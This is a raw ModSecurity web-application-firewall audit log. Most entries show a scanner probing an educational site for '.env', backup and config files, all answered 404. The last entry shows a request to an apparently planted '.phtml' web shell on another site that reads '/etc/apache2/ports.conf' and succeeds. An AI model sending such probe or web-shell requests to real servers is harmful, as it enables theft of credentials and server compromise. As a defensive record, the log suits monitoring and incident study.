proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019683961038 976192 (- - -) Stopwatch2: 1750019683961038 976192; combined=2055, p1=366, p2=1316, p3=42, p4=57, p5=169, sr=103, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0cdce821-Z-- --daebbe04-A-- [16/Jun/2025:02:04:50.850662 +0530] aE8uaov0YhcYGG7mzIpkUwAAABU 185.177.72.210 55528 127.0.0.1 7081 --daebbe04-B-- GET /:8080/database/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --daebbe04-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4ee0c91b0f5b1f82235471e64261a46a1750019690; expires=Sun, 15 Jun 2025 21:34:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --daebbe04-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/database/.env"] [unique_id "aE8uaov0YhcYGG7mzIpkUwAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019690171624 679100 (- - -) Stopwatch2: 1750019690171624 679100; combined=1888, p1=396, p2=1407, p3=0, p4=0, p5=84, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --daebbe04-Z-- --b104686f-A-- [16/Jun/2025:02:04:52.897008 +0530] aE8ubM0RsCO0eBtdhx69ggAAAAg 185.177.72.210 55620 127.0.0.1 7081 --b104686f-B-- GET /webstatic/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b104686f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2bd1a8e746b689098e7602c2cb0c76e41750019692; expires=Sun, 15 Jun 2025 21:34:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b104686f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/webstatic/.env"] [unique_id "aE8ubM0RsCO0eBtdhx69ggAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019692247262 649819 (- - -) Stopwatch2: 1750019692247262 649819; combined=1838, p1=370, p2=1372, p3=0, p4=0, p5=96, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b104686f-Z-- --abacb915-A-- [16/Jun/2025:02:04:59.224034 +0530] aE8ucs0RsCO0eBtdhx69hAAAAAg 185.177.72.210 55772 127.0.0.1 7081 --abacb915-B-- GET /private.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --abacb915-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ca4e88344121919366dee80e91b98ad51750019699; expires=Sun, 15 Jun 2025 21:34:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --abacb915-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/private.mdb"] [unique_id "aE8ucs0RsCO0eBtdhx69hAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019698583393 640703 (- - -) Stopwatch2: 1750019698583393 640703; combined=1818, p1=334, p2=1396, p3=0, p4=0, p5=88, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --abacb915-Z-- --0cf76969-A-- [16/Jun/2025:02:05:01.293194 +0530] aE8udIv0YhcYGG7mzIpkVwAAABU 185.177.72.210 56304 127.0.0.1 7081 --0cf76969-B-- GET /:9000/log/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0cf76969-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1c6e2fb90bc12c61c622ab2cf88944a11750019701; expires=Sun, 15 Jun 2025 21:35:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0cf76969-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/log/.env"] [unique_id "aE8udIv0YhcYGG7mzIpkVwAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019700574700 718578 (- - -) Stopwatch2: 1750019700574700 718578; combined=1900, p1=379, p2=1405, p3=0, p4=0, p5=116, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0cf76969-Z-- --ecd4903e-A-- [16/Jun/2025:02:05:02.596916 +0530] aE8udVfWRcme38U-qk7mtAAAAAI 185.177.72.210 56318 127.0.0.1 7081 --ecd4903e-B-- GET /:8080/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ecd4903e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=91d2b747f35ec4b8488b118d5d441e231750019702; expires=Sun, 15 Jun 2025 21:35:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ecd4903e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/configura/.env"] [unique_id "aE8udVfWRcme38U-qk7mtAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019701696983 900047 (- - -) Stopwatch2: 1750019701696983 900047; combined=2080, p1=507, p2=1427, p3=0, p4=0, p5=145, sr=149, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ecd4903e-Z-- --2edab23c-A-- [16/Jun/2025:02:05:04.409297 +0530] aE8ud4v0YhcYGG7mzIpkWAAAABU 185.177.72.210 56404 127.0.0.1 7081 --2edab23c-B-- GET /settings.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2edab23c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d8b9ac5beb74fea40baefbf89ef4ebce1750019704; expires=Sun, 15 Jun 2025 21:35:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2edab23c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/settings.php.old"] [unique_id "aE8ud4v0YhcYGG7mzIpkWAAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019703743855 665507 (- - -) Stopwatch2: 1750019703743855 665507; combined=2108, p1=431, p2=1578, p3=0, p4=0, p5=99, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2edab23c-Z-- --39fbce58-A-- [16/Jun/2025:02:05:14.986410 +0530] aE8ugjW73rwPI0SU-ijtFgAAAAA 185.177.72.210 39474 127.0.0.1 7081 --39fbce58-B-- GET /airflow.cfg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --39fbce58-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fc30650241b22faf7dc21d3daa0959c01750019714; expires=Sun, 15 Jun 2025 21:35:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --39fbce58-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/airflow.cfg"] [unique_id "aE8ugjW73rwPI0SU-ijtFgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019714332480 654007 (- - -) Stopwatch2: 1750019714332480 654007; combined=2178, p1=401, p2=1661, p3=0, p4=0, p5=115, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --39fbce58-Z-- --e5e3c62c-A-- [16/Jun/2025:02:05:17.890658 +0530] aE8uhUaRoH9PZO5fwRnhWwAAAAw 185.177.72.210 39554 127.0.0.1 7081 --e5e3c62c-B-- GET /tests/default_settings/v9.0/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e5e3c62c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a9457b31b9dee165af13c9b24282a2691750019717; expires=Sun, 15 Jun 2025 21:35:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e5e3c62c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tests/default_settings/v9.0/.env"] [unique_id "aE8uhUaRoH9PZO5fwRnhWwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019717228604 662120 (- - -) Stopwatch2: 1750019717228604 662120; combined=1687, p1=324, p2=1241, p3=0, p4=0, p5=122, sr=76, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e5e3c62c-Z-- --32513530-A-- [16/Jun/2025:02:05:19.869575 +0530] aE8uh2BSQiWwwCa-v2QA4QAAAAQ 185.177.72.210 39636 127.0.0.1 7081 --32513530-B-- GET /fastlane/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --32513530-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=716f193a06198fd36c4e6572ab9e4a7e1750019719; expires=Sun, 15 Jun 2025 21:35:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --32513530-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/fastlane/.env"] [unique_id "aE8uh2BSQiWwwCa-v2QA4QAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019719226256 643395 (- - -) Stopwatch2: 1750019719226256 643395; combined=1944, p1=404, p2=1429, p3=0, p4=0, p5=110, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --32513530-Z-- --e0fae501-A-- [16/Jun/2025:02:05:20.856012 +0530] aE8uiFfWRcme38U-qk7mvQAAAAI 185.177.72.210 51428 127.0.0.1 7081 --e0fae501-B-- GET /:8443/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e0fae501-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b7cd3f9ef3b4516d36471483a299593d1750019720; expires=Sun, 15 Jun 2025 21:35:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e0fae501-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/config/.env"] [unique_id "aE8uiFfWRcme38U-qk7mvQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019720205233 650843 (- - -) Stopwatch2: 1750019720205233 650843; combined=1850, p1=365, p2=1383, p3=0, p4=0, p5=102, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e0fae501-Z-- --e469cd1b-A-- [16/Jun/2025:02:05:24.012859 +0530] aE8ui4l8S04UZ4l67-nXFQAAAAk 185.177.72.210 51556 127.0.0.1 7081 --e469cd1b-B-- GET /:5000/front-end/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e469cd1b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=18a3d0f31b3ae4124663d8f91c0fa0061750019723; expires=Sun, 15 Jun 2025 21:35:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e469cd1b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/front-end/.env"] [unique_id "aE8ui4l8S04UZ4l67-nXFQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019723375619 637303 (- - -) Stopwatch2: 1750019723375619 637303; combined=1366, p1=301, p2=975, p3=0, p4=0, p5=89, sr=74, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e469cd1b-Z-- --6492d010-A-- [16/Jun/2025:02:05:33.817042 +0530] aE8ulYl8S04UZ4l67-nXGQAAAAk 185.177.72.210 36552 127.0.0.1 7081 --6492d010-B-- GET /tmp/config.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6492d010-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ddf89cd91f113c154f9608aea5ff27c01750019733; expires=Sun, 15 Jun 2025 21:35:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6492d010-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/tmp/config.php.bak"] [unique_id "aE8ulYl8S04UZ4l67-nXGQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019733139944 677163 (- - -) Stopwatch2: 1750019733139944 677163; combined=1736, p1=314, p2=1335, p3=0, p4=0, p5=87, sr=77, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6492d010-Z-- --b68fdd59-A-- [16/Jun/2025:02:05:35.674604 +0530] aE8ul9xCjYf3vhjKXIttYAAAAA8 44.215.61.66 36688 127.0.0.1 7081 --b68fdd59-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/apache2&viewfile=//etc/apache2/ports.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 44.215.61.66 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --b68fdd59-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3146 Connection: close Content-Type: text/html; charset=UTF-8 --b68fdd59-H-- Message: Warning. Matched phrase "etc/apache2/ports.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/ports.conf found within ARGS:viewfile: /etc/apache2/ports.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/apache2/ports.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/ports.conf found within ARGS:viewfile: /etc/apache2/ports.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8ul9xCjYf3vhjKXIttYAAAAA8"] Apache-Handler: application/x-httpd-php Stopwatch: 1750019735670456 4199 (- - -) Stopwatch2: 1750019735670456 4199; combined=2357, p1=333, p2=1880, p3=37, p4=44, p5=63, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: 